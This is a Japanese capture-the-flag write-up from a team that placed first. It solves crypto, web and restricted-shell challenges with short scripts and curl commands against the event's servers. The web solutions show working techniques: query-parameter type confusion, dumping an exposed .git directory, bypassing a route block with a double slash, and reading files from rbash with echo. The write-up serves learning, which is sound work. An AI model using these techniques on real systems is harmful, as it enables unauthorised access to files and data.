5/8 - 5/10の日程で開催された。zer0ptsで参加して1位🎉Discordサーバがスコアサーバという不思議なCTFだった。
- [Crypto] Case64AR
- [Crypto] A Prime Hash Candidate
- [Crypto] Lost in Transmission
- [Web] Apollo 1337
- [Web] GETS Request
- [Web] Git Good
- [Misc] No flag for you
[Crypto] Case64AR
問題名からシーザー暗号 + Base64と推測できる。シーザー暗号で回すのは暗号文の方ではなく、Base64のテーブルの方。
import string import base64 s = 'OoDVP4LtFm7lKnHk+JDrJo2jNZDROl/1HH77H5Xv' table = string.ascii_uppercase table += string.ascii_lowercase table += string.digits table += '+/' for i in range(64): tr = str.maketrans(table, table[i:] + table[:i]) print(base64.b64decode(s.translate(tr)))
[Crypto] A Prime Hash Candidate
実装が面倒になったらZ3。
from z3 import * def hash(data): out = 0 for c in data: out *= 31 out += c return out password = [Int('password_%d' % i) for i in range(17)] solver = Solver() for c in password: solver.add(ord(' ') <= c, c <= ord('~')) solver.add(hash(password) == 59784015375233083673486266) r = solver.check() m = solver.model() print(''.join(chr(m[c].as_long()) for c in password))
[Crypto] Lost in Transmission
flag.dat
の全てのバイトが偶数でほとんどのバイトが0x80を超えているあたりから、フラグの各文字の文字コードが2倍されているのだなあとエスパーできる。
print(''.join(chr(c // 2) for c in s))
[Web] Apollo 1337
minifyされたコードを頑張って読んでいくと、/api/status?verbose=
というAPIエンドポイントがあること、yiLYDykacWp9sgPMluQeKkANeRFXyU3ZuxBrj2BQ
がなんらかのトークンとして使えることがわかる。
/api/status?verbose=abc
で /status
のほかにもAPIエンドポイントがあることがわかる。
{"status":"health","longStatus":"Healthy. All routes are functioning properly.","version":"1.0.0","routes":[{"path":"/status","status":"healthy"},{"path":"/rocketLaunch","status":"healthy"},{"path":"/fuel","status":"healthy"}]}
/rocketLaunch
が怪しい。エラーメッセージなどから頑張ってAPIの使い方を探っていく。
$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{}' rocket not specified $ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":""}' rocket not recognized (available: triton) $ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton"}' launchTime not specified $ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton","launchTime":""}' launchTime not in hh:mm format $ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton","launchTime":"00:00"}' launchTime unapproved
$ for m in {0..60}; do echo -en "$m: "; curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton","launchTime":"12:'$(printf "%02d" $m)'"}'; echo; done 0: fuel pumpID not specified 1: launchTime unapproved 2: launchTime unapproved 3: launchTime unapproved 4: launchTime unapproved 5: launchTime unapproved 6: launchTime unapproved 7: launchTime unapproved 8: launchTime unapproved 9: launchTime unapproved
$ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton","launchTime":"12:00","pumpID":4}' frontend authorization token not specified $ curl "https://space.sdc.tf/api/rocketLaunch" -H "Content-Type: application/json" -d '{"rocket":"triton","launchTime":"12:00","pumpID":4,"token":"yiLYDykacWp9sgPMluQeKkANeRFXyU3Zux Brj2BQ"}' rocket launched. sdctf{0ne_sM@lL_sT3p_f0R_h@ck3r$}
[Web] GETS Request
/prime?n[toString]=12
で以下のようなエラーが出ることから、Node.js + Expressが使われていることがわかる。
TypeError: Cannot convert object to primitive value at /app/index.js:26:33 at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at next (/app/node_modules/express/lib/router/route.js:137:13) at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at /app/node_modules/express/lib/router/index.js:281:22 at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12) at next (/app/node_modules/express/lib/router/index.js:275:10) at expressInit (/app/node_modules/express/lib/middleware/init.js:40:5) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
ということは ?n[]=…
で文字列と配列を混同させることができるのではないか。適当にいじっていたらフラグが得られた。
$ curl -g "https://gets.sdc.tf/prime?n[]=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" buffer overflow! sdctf{B3$T_0f-b0TH_w0rLds}
[Web] Git Good
問題名からGitネタだなあと推測できる。rip-git.plで /.git
をダウンロードして objects/
下のファイルを展開していくと、/secret.flag
にフラグがあることがわかる。
/* (snip) */ // gotta make sure we don't leak important stuff! app.all('/users.db', (req, res) => res.sendStatus(403)) app.all('/secret.flag', (req, res) => res.sendStatus(403)) app.all('/app.js', (req, res) => res.sendStatus(403)) // lastly, include all of our assets with zero side effects! :) app.use(express.static('.')) /* (snip) */
/secret.flag
は弾かれるが、//secret.flag
は通った。
$ curl --path-as-is "https://cgau.sdc.tf//secret.flag" sdctf{1298754_Y0U_G07_g00D!}
[Misc] No flag for you
使えるコマンドは制限されているが、echo opt/*
が ls opt/
の、echo $(<filename)
が cat filename
の代わりになることを使えばフラグが得られる。
$ nc noflag.sdc.tf 1337 There is no flag here. rbash$ ls README bin opt rbash$ cat README Hahahahahaha! Welcome to the most restrictive shell ever. Don't even try to escape this. rbash$ echo opt/* opt/flag-b01d7291b94feefa35e6.txt rbash$ cat opt/flag-b01d7291b94feefa35e6.txt No flag for you! rbash$ echo $(<opt/flag-b01d7291b94feefa35e6.txt) sdctf{1t'5_7h3_sh3ll_1n_4_shEll}